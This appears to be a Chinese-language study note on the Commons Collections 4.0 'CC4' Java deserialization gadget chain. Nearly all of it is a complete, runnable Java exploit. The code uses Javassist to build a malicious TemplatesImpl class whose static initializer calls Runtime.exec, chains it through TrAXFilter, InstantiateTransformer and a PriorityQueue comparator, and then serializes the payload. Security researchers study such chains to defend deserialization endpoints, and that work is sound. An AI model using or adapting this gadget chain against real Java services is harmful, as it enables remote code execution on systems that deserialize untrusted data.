jdk 版本暂无限制
CommonsCollections 4.0
需要 Javassist
这个可以说是 cc2 与 cc3 的结合了
package com.yq1ng;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* @author ying
* @Description
* @create 2021-11-23 16:30
*/
public class cc4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
// 稍稍改造，不用LazyMap#get()触发transformer()
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
// 通过PriorityQueue触发TransformingComparator#compare(),然后触发transform()
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2,comparator);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
